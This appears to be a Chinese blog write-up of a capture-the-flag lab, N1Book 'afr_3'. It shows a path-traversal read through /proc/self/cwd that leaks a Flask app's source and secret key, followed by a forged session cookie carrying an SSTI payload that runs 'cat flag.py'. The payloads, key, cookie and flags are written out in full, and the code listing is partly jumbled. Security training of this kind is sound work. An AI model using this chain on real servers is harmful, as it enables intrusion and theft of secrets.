• 【文件读取/包含】任意文件读取漏洞 afr_3


    1.1漏洞描述

    漏洞名称任意文件读取漏洞 afr_3
    漏洞类型文件读取/包含
    漏洞等级⭐⭐⭐⭐⭐
    漏洞环境docker
    攻击方式

    1.2漏洞等级

    高危

    1.3影响版本

    暂无

    1.4漏洞复现

    1.4.1.基础环境

    靶场docker
    工具BurpSuite

    1.4.2.环境搭建

            1.创建docker-compose.yml文件

    version: '3.2'

    services:
      web:
        image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-3:latest
        ports:
          - 5000:5000
     

             2.将该代码写入文件

    启动方式

    docker-compose up -d

    flag

    n1book{afr_1_solved}

    关闭

    sudo docker-compose down

            3.访问kali 5000端口

     

    搭建成功 

    1.5深度利用

    1.5.1靶机攻略

            1.查看源码

            没有发现有用东西

            2.扫描目录

             根据引导进入article,熟悉的参数出来了,name=aiticle

     3.尝试查看etc/passwd

    查看flag

    失败了

    尝试使用php://fileter 读取

    ?filepath=php://filter/read=convert.base64-encode/resource=[目标文件] 

    也失败了。

    看了大神的讲解,我觉得应该能想到,因为现在的信息就是已经可以正常包含/etc/目录下的文件(passwd),那么/proc/目录下的也应该能包含

    /proc/
    里面含有很多的进程信息,比如/proc/3333,就是进程ID为3333的信息

    /proc/self/
    这个就很魔幻了,因为进程ID是一直变得,我这里如果填了article=/proc/self/......,那么就是article相关的进程,也就是说这个self是谁用就是谁

    cmdline
    启动当前进程的完成命令


    cwd
    当前进程的工作目录

            访问,发现pythonserver.py,这里应该不是pythonserver.py文件,因为cmdline是启动当前进程的完成命令,那执行的命令应该是python server.py 

    article?name=../../../../../../proc/self/cmdline

    4.通过cwd读取server.py

    article?name=../../../../../proc/self/cwd/server.py

     拿到server.py的源码

    1. #!/usr/bin/python
    2. import os
    3. from flask import (Flask, render_template, request, url_for, redirect, session, render_template_string)
    4. from flask_session import Session
    5. app = Flask(__name__)
    6. execfile('flag.py')#execfile() 函数可以用来执行一个文件。
    7. execfile('key.py')
    8. FLAG = flag
    9. app.secret_key = key @ app.route("/n1page", methods=["GET", "POST"])
    10. def n1page():
    11. if request.method != "POST":
    12. return redirect(url_for("index"))
    13. n1code = request.form.get("n1code") or None
    14. if n1code is not None: n1code = n1code.replace(".", "").replace("_", "").replace("{", "").replace("}", "")
    15. if "n1code" not in session or session['n1code'] is None: session['n1code'] = n1code
    16. template = None
    17. if session[
    18. 'n1code'] is not None: template = '''

      N1 Page

      Hello : %s, why you don't look at our article?
      ''' %
  • session['n1code']
  • session['n1code'] = None
  • return render_template_string(template) @ app.route("/", methods=["GET"])
  • def index(): return render_template("main.html") @ app.route('/article', methods=['GET'])
  • def article(): error = 0
  • if 'name' in request.args:
  • page = request.args.get('name') else:
  • page = 'article'
  • if page.find('flag') >= 0: page = 'notallowed.txt'
  • try:
  • template = open('/home/nu11111111l/articles/{}'.format(page)).read() except Exception as e:
  • template = e
  • return render_template('article.html', template=template)
  • if __name__ == "__main__": app.run(host='0.0.0.0', debug=False)
  •  

    代码中出现了,flag.py和key.py,分别包含一下这俩,在key.py中发现了一段关于key的代码

    /article?name=../../../../../proc/self/cwd/flag.py
    /article?name=../../../../../proc/self/cwd/key.py

    #!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'

    伪造flask的session,秘钥为Drmhze6EPcv0fN_81Bj-nA

            下载脚本

    git clone https://github.com/noraj/flask-session-cookie-manager 

            使用脚本编译 

     sudo python3 ./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"

             拿到伪造flask的session

    .eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.ZVTSxw.EZGsAPNdMs8G5kxefOpGvPQMXoM

    5.使用BP,访问首页抓包

            修改session值为刚刚得到的

    拿到flag

     flag = ‘n1book{afr_3_solved}’;

    1.6漏洞挖掘

    1.6.1指纹信息

    1.7修复建议

    • 升级

    • 打补丁

    • 上设备

  • 相关阅读:
    医院药品管理系统丨医药商城系统(Java+Web+MySQL)
    Chai的入门
    150000人疯抢的证书究竟是何方神圣?
    seccon 2022 quals wp
    尚好房 09_权限管理
    Using Set Processing Examples 使用集合处理示例
    2019史上最全java面试题题库大全800题含答案
    关于 SAP UI5 控件内容的 Excel 导出功能,如何加载所需的导出工具库
    选择排序算法的速度测试 [数据结构][Java]
    RabbitMQ学习-第一部分
  • 原文地址:https://blog.csdn.net/wj33333/article/details/134429897